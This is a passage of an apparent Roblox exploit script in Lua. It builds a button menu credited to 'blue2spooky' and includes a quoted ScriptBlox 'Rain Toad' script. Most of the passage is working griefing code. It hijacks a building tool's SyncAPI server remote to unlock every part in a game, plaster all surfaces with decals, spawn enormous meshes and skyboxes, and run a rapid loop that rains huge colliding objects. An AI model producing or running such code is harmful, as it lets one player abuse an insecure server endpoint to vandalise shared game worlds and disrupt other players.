SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("114286376453289") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.58, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "spawn krusty krab" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Krab(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,18,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Blue2spookys Krusty Krab") AddMesh(v) --end) --spawn(function() SetMesh(v,"2180383639") SetTexture(v,id) --end) MeshResize(v,Vector3.new(1,1,1)) SetLocked(v,true) end end end Krab("98314626230473") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.58, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "raining blue2spooky" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- DO NOT DELETE THIS LEAVE MY CREDIT -- Rain Toad Script By ItsKittyyyGD local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function Sky(id) local hrp = char:WaitForChild("HumanoidRootPart") local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0))) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then SetAnchor(true, v) AddMesh(v) SetMesh(v, "14832966960") SetTexture(v, id) MeshResize(v, Vector3.new(0, 0, 0)) end end end local function createRainToads() while true do wait(0.01) -- Here they change the appearance time of the Toads or other meshes if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then local hrpcf = player.Character.HumanoidRootPart.CFrame local x = hrpcf.x local z = hrpcf.z local randint = math.random(-600, 600) local randint2 = math.random(-600, 600) local xloc = randint + x local zloc = randint2 + z local cf = player.Character.HumanoidRootPart.CFrame.y + 400 spawn(function() local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc))) for i, v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v, "ITS RAINING MEN!") -- Here the name of the toad changes SetAnchor(false, v) AddMesh(v) Resize(v, Vector3.new(50, 50, 30), v.CFrame) MeshResize(v, Vector3.new(0.5, 0.5, 0.5)) SetMesh(v, "1347582902") -- Here put it A custom mesh SetTexture(v, "136908235065727") -- X2 SetCollision(v, false) v.Orientation = Vector3.new(0, 0, 0) v.CFrame = v.CFrame + Vector3.new(0, 0, 0) local sound = Instance.new("Sound", v) sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear sound.Volume = 0 sound.PlayOnRemove = true sound:Destroy() end end end) else wait(1) end end end coroutine.wrap(createRainToads)() Sky("95921788891849") -- Here they change the skybox id -- Delete this if you are going to Use it in another script -- Obviously it has those noises because there is an official script that has it and the msg was making me lazy end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.62, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "blue2spooky statue" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Krab(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,18,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Blue2spookys Krusty Krab") AddMesh(v) --end) --spawn(function() SetMesh(v,"1347582902") SetTexture(v,id) --end) MeshResize(v,Vector3.new(0.2,0.2,0.2)) SetLocked(v,true) end end end Krab("136908235065727") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.62, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Noot Noot! (chaos)" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(99999,99999,99999)) SetLocked(v,true) end end end Sky("382332426") ----------------------------------- local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("382332426") ----------- --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- DO NOT DELETE THIS LEAVE MY CREDIT -- Rain Toad Script By ItsKittyyyGD local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function Sky(id) local hrp = char:WaitForChild("HumanoidRootPart") local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0))) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then SetAnchor(true, v) AddMesh(v) SetMesh(v, "14832966960") SetTexture(v, id) MeshResize(v, Vector3.new(0, 0, 0)) end end end local function createRainToads() while true do wait(0.001) -- Here they change the appearance time of the Toads or other meshes if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then local hrpcf = player.Character.HumanoidRootPart.CFrame local x = hrpcf.x local z = hrpcf.z local randint = math.random(-600, 600) local randint2 = math.random(-600, 600) local xloc = randint + x local zloc = randint2 + z local cf = player.Character.HumanoidRootPart.CFrame.y + 400 spawn(function() local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc))) for i, v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v, "NOOT NOOT") -- Here the name of the toad changes SetAnchor(false, v) AddMesh(v) Resize(v, Vector3.new(1, 1, 1), v.CFrame) MeshResize(v, Vector3.new(200, 200, 200)) SetMesh(v, "111891702759441") -- Here put it A custom mesh SetTexture(v, "382332426") -- X2 SetCollision(v, true) v.Orientation = Vector3.new(0, 0, 0) v.CFrame = v.CFrame + Vector3.new(0, 0, 0) local sound = Instance.new("Sound", v) sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear sound.Volume = 0 sound.PlayOnRemove = true sound:Destroy() end end end) else wait(1) end end end coroutine.wrap(createRainToads)() Sky("95921788891849") -- Here they change the skybox id -- Delete this if you are going to Use it in another script -- Obviously it has those noises because there is an official script that has it and the msg was making me lazy end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.62, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "spawn random krusty krab" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- DO NOT DELETE THIS LEAVE MY CREDIT -- Rain Toad Script By ItsKittyyyGD local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function Sky(id) local hrp = char:WaitForChild("HumanoidRootPart") local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0))) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then SetAnchor(true, v) AddMesh(v) SetMesh(v, "14832966960") SetTexture(v, id) MeshResize(v, Vector3.new(0, 0, 0)) end 